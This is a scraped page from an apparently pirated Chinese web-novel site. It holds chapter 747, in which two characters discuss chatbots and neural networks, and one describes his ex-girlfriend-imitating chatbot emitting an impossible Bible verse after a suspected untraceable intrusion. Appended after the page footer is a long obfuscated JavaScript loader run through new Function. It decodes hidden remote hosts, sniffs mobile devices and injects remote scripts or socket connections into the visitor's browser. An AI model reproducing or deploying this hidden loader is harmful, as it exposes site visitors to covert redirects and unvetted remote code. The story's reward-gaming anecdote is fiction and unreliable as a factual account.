首页
[切换至繁体版]
返回

747 鹦鹉歌(下)

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    在逗留于雷根贝格的日子里,罗彬瀚已经读遍了两年来的重大时事新闻,还有中文互联网上新一轮的奇腔怪调。有些内容令他觉得自己已经老了,恐怕很快就无法再跟上时代流行,不过大部分还算在他能理解的范畴内。他还关注了几只新兴的科技概念股,主要是能源和材料的,也有信息技术方面的。有几个接入了聊天机器人的社交帐户在网上颇受瞩目。他看见过其中一个在社交网站上发消息,但他自己对此兴趣不大。有多少人工就有多少智能,这句话是他在被荆璜抓走前就已经有了的。
    一个能假装说人话的程序,罗彬瀚不觉得它多么神秘,也不大向往同这样的东西接触。他不理解马尔科姆对此产生的浓烈好奇心,刘玲和俞庆殊那似有若无的忧虑,不过话又说回来,他估计自己对于科技进步的敏感性是远远差于常人的。毕竟他已习惯了∈在飞船上骚扰所有人,而李理眼下还时不时地在他卧室里晃悠。
    他从未想过一个本地研究员能造出类似的东西。这其中巨大的技术差距,虽然他不明白原理,但却是文盲也瞧得出来的。因此,当安东尼说他也弄了个聊天机器人时,罗彬瀚一时间不知道自己该不该表示敬佩,亦或者这对程序员不过是雕虫小技。
    “呃,”他说,“挺厉害的?”
    “只不过是个磨时间的活儿。”安东尼厌倦地说,“模型是现成的,你只需要往里头不断地喂参数……总之,我花了很多时间来调整,让这个程序的反馈和她本人越来越像。”
    “你是说模拟你前女友的思维。”
    “不,根本不是。你说的是那些家伙拿来骗傻子的话。”
    在专业性的问题上,罗彬瀚早已习惯被当作傻子。他请安东尼解释解释那到底是怎么一回事,但最好别用太多专业术语。他的要求让对方差点就要结束这场聊天。但最后终究还是傻子赢了,在忍受谬误和无知的本领上,越专业的人就越脆弱。
    安东尼靠在椅背上搜肠刮肚,两眼无神,半天都没说话。直到罗彬瀚以为他要放弃时,他干巴巴地说:“这就像是……像是做园艺造型。”
    “噢。怎么说?”
    “你把灌木修剪成你要的造型,比如动物,或者城堡什么的。你可以把它剪得非常像实物……我是说,不一定是园艺,你也可以想成蜡像或着陶艺,总之你在用一种东西模仿另一种不同的东西,让它们在特定环境下表现得很相似,可它们的底层原理是完全不同的……你能明白我的意思吗?”
    安东尼挫败地抓了一把头发。罗彬瀚也不得不承认这人恐怕不是个高明的演说家。可这种想法没有一点从他脸上露出来,因为经验表明那多半会让对方再也不肯开口。相反他摆出了一副感兴趣的样子,鼓励对方接着说下去。
    “照你的意思,”他把新剥的花生推过去,“你做程序就像在剪灌木?你在试着把它剪得和你前女友更像?”
    “调参数就像是在修剪灌木。”安东尼说,“但植物的长法和活人是不一样的。你要是不动手修剪,植物就会按照自己的规则去长,它不可能在自然状态下长得和动物一样,因为它有一整套独立的内在机制,光合作用,叶绿体,细胞壁……它和动物用的是不同的模型,我的意思是,程序和人用的是不同的模型,程序和程序之间也可能用了不同的模型。”
    “就像用不同的材料做动物雕像?有的是灌木,有的是陶土?”
    “对,就是这个意思。”
    “可它们没有思想,也不能像活物一样动起来。”
    “那没什么区别。”安东尼焦躁地说,“如果你做的机关足够精巧,你甚至可以让瓷偶唱歌或者弹琴……但它们并不真的像人那样理解自己的行为——我不是说它们不可能理解,重点是,它们理解的方式和人不一样。”
    “你说得好像程序的确能思考。”罗彬瀚奇怪地问,“咱们的技术已经进步到这种程度了吗?”
    安东尼呻吟了一声。“神经网络。”
    “什么?”
    “我是说人工神经网络——它是我们现在使用的运算模型之一,是按照生物脑神经的信息传递方式复制出来。所有的节点关、次序、权重……这就是模型,或者说灌木本身。而如果你要给它个性,那只需要对它的外形修修剪剪,调整调整参数和环境,而用不着去动它的基础模型。实际上你也干预不了,因为那一整套机制太复杂了,那就是个算法版本的脑神经手术。我们做得到的还不如医生多呢,他们好歹有个正确的原型样本来当参考。可是不管怎样,如果你问我神经网络模型开发出来的人工智能能不能思考,至少我觉得它们能,只不过思考的路径和我们不一样。你应该知道的,现在他们说植物和鱼都会思考,那就没道理把算法的思考方式排除。”
    “你说是就是吧。”罗彬瀚心不在焉地说。他不确定自己完全理解了安东尼的意思,但这个从闹鬼开始的技术话题已经钻进了他的耳朵。“不过……我们是怎么把人的脑神经给转化成算法的?总不能是找活人解剖吧?”
    “我也不知道他们具体用了什么设备,反正他们设法抄了些人做决策时神经元会有的反应。这和实际的递质物没什么关系,你只需要知道在这个系统里活跃的部分怎么关联和分配权重就行了。不过我也听说过可能涉及到解剖学的神经网络模型……我记不太清楚了,有一个神经网络模型是用了猫的脑神经来模拟。”
    “哦?”罗彬瀚说。不知不觉间他已经忘记了话题的开头,直起身子聚精会神地盯着对面。
    “怎么了?”安东尼敏感地问,“我用错了什么词?”
    “你用错了我也不会知道的。”罗彬瀚说,“我可不懂你们这些技术上的事情。不过你不妨再说说那个猫的模型,它琢磨事情也像猫一样吗?”
    他自认为没露出什么不对劲的地方,可是安东尼还是怀疑地偷瞥了好几眼。“我没仔细研究过那个模型。”他说,“不过我听说有团队拿它来做决策训练,它们搞了个捉耗子的游戏——你每抓到一只耗子就会得分,而你花费的时间则会导致扣分,撞到墙壁也会扣分,而撞到狗窝则会直接结束游戏。这样一来,算法如果想拿到最高的分数,就得研究出最佳行动路线。他们想通过这个训练让算法变得更聪明。”
    “然后呢?”
    “这算法学会了每次开局都直接自杀。”安东尼说,“直奔狗窝而去。这样一来,至少它不会损失时间消耗和撞墙扣掉的那些分数。这就是从它的神经网络里考虑出来的最佳方案。”
    “清清白白的一生呀。”罗彬瀚说。他这话并没带什么情绪,只不过是随口搭腔。安东尼却突然若有所思地打量起他来。
    “你不会也用了这个算法模型来塞你女朋友的数据吧?”罗彬瀚问,“然后它开始劝你去跳楼?”
    “我没用这个模型。但是……”
    “真的劝你去跳楼了?”
    “它给我发了一条不应该有的消息。”
    罗彬瀚不明所以地望着他。安东尼考虑了好半天,最后突然又垮了。“我一直在训练它说话的口吻。我让它回答问题的语言习惯更像她,然后再是回答问题的思路。”
    “你怎么能让一个程序的思路更像某个人呢?”
    “这还是修剪枝叶的问题。你只要有足够的训练集让它自己去形成内部路径。”安东尼不耐烦地说,“本质上还是个人工活儿,所以我其实也不指望自己能做出个什么东西来……我只是在打发时间,找找思路——”
    “找找你前女友跟你分手的思路。”罗彬瀚多少有点坏心地补充。
    安东尼假装没听见他的话。他的脸早就因为酒精而开始发红,因此罗彬瀚看不出什么究竟来。他一鼓作气地说:“两个星期以前我给它和我的其他程序做了个接口,让它能做点更复杂的运算和联想,但数据集仍然是闭合的——我不想让它去网上连抓消息,就让它用我提供的学习资料——然后我给了它几个简单的拼字谜题,就是让它设法在有限的字母表里凑出一句话来。我,我们以前经常做这个游戏……”
    “你们情侣之间就玩这个?”罗彬瀚震惊地问。
    “这有什么不对?”
    罗彬瀚不好说。他暗自在心底更新了一些对于外国人刻板印象。这当然是没道理的,可先前他总觉得外国人谈对象都会和马尔科姆一样腻乎。他感到自己不应该继续大惊小怪,难免会显得缺乏经验。这是很不符合他眼下的人设的。
    “你做的程序表现如何呢?”他问道,“它能找出所有的句子吗?我猜它做这件事得比人容易点吧?”
    “你为什么这么觉得?”
    “这不该是常识吗?”
    安东尼似乎想说点什么,但是放弃了。他果断地宣布这问题无关紧要,只是他自己做这个程序没那么“聪明”。拥有的计算资源不足,字词库也很有限。前者是财力所限,而后者则是他有意为之。他不希望这个程序因为拥有未经筛选的网络语库而拼出一些不该有的词来。它也不应该有本事拼出不该有的句子,因为它的训练模型根本没成熟到能理解语法的程度。
    就在一周前的某个日子,当安东尼·肯特从餐厅走回自己的客房时,发现屏幕上已经弹出了一个带笑脸的窗口。
    这窗口是他自己设置好的,用以通知训练集的完成进度。当程序自认为找到字母表中所有隐藏的语句后,它就会发一个笑脸给他,然后则是一个写有全部答案的文档附件、花费的总时间和由此得到的评分。由于时间系数的影响,综合评分往往是负数,他对此也习以为常,不准备去调整计算规则。他只是觉得它今天结束任务的速度要比平时早些。而紧接着他看到了评分。9分。
    他又认真地瞧了瞧。的确是正数的9分,一个他还从没在训练里遇到过的高分。这不太合理,多半是搞错了什么。于是他打开记录全部语句的附件,在本该记录有至少六个答案的位置只找到孤零零的一行自:
    凡事皆有定时。生有时,死有时。
    起初,安东尼疑惑地盯着这行字,以为是他自己设置的条件参数出了问题。游戏本该在至少拼出六句话,并且再也找不出新结果时才结束,可是现在这儿只有一句话,这句话甚至还不在他准备的标准答案里。他又把这句话读了一遍,认出它无疑援引自《传道书》第三章,那首传说由所罗门王所著的定时诗。而那时他的后背猛然有一阵刺骨的电流经过,他意识到这句话绝不可能出现在他事先设置好的语言库里。对于这电脑中的程序而言,它是拼出了一句从未在世上存在过的哲言。
    “你这么确定吗?”听到这里时罗彬瀚问,“这话本身没什么特别冷门的词,也许它就是把它们随机组合了起来?”
    “不,没这回事……我还没来得及教会它语法呢。要是不照现成的数据库,它完全说对一个长句子的几率连百分之二十也不到。”
    “那你的那个什么数据库呢?你确定不是你自己不小心把这句话放进去了?”
    “这不可能。”
    “为什么?难道你从来不把东西放错位置?”
    安东尼郁悒地看了他一会儿。“因为这句话来自《圣经》,我早就禁用了所有来自经书的句子。”
    “这又是为了什么?虔诚?”
    “不,和那没关系。”
    他没再解释下去。罗彬瀚看出这是个相当私人的秘密,对于解释安东尼当前遇到的怪事可能也无关紧要。他不再追究,而是琢磨起一句禁语是怎样溜进了私人程序里。“你梦游吗?”他漫无边际地问,“也许你有双重人格?谁偶然进了你的房间?你养的宠物踩了键盘?”
    “我可是住在宾馆里。”安东尼说。他甚至不屑于回答前两个假设,而是自顾自地说起他怎样检查了数据库和运行日志,断定这不可能是程序自发完成的。有人动过他设置的参数,甚至多喂了别的训练集,光是这个问题就已经够叫人抓狂了,而这也不能解释为什么他给训练游戏设置的结束条件没能起效。他全都检查过了,至少从在他回到房间的那一刻起,所有条件设置都和他当初做的一样。也许有人曾经将之改动过又复原——那就意味着他的电脑遭到了入侵。他去询问过酒店的服务人员,甚至还要求调用了监控,跟他们闹得很不愉快。可是的确没人去过他的房间,所以那只可能是一次非物理层面的入侵。
    安东尼·肯特无法明白这到底是怎么发生的,就像冥冥中有个爱好恶作剧的精灵潜入了他的房间,在他的程序里留下这样一句突兀的赠语。他找不出任何入侵的痕迹,只能怀疑是否在硬件层面被人动了手脚。不管怎样,继续使用这台电脑处理私人项目已经不再安全了。他彻底地转移和清除了里头的敏感数据,几乎想把它给物理销毁。可又有一点不甘心阻止了他去五金店买把锤子——他还是想不通谁能在他的电脑上动手脚,有个神秘人把他给打败了,可是至少他得找出手法来。于是他把电脑送去了维修店,不是随便的哪个路边维修点,而是他在国外
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();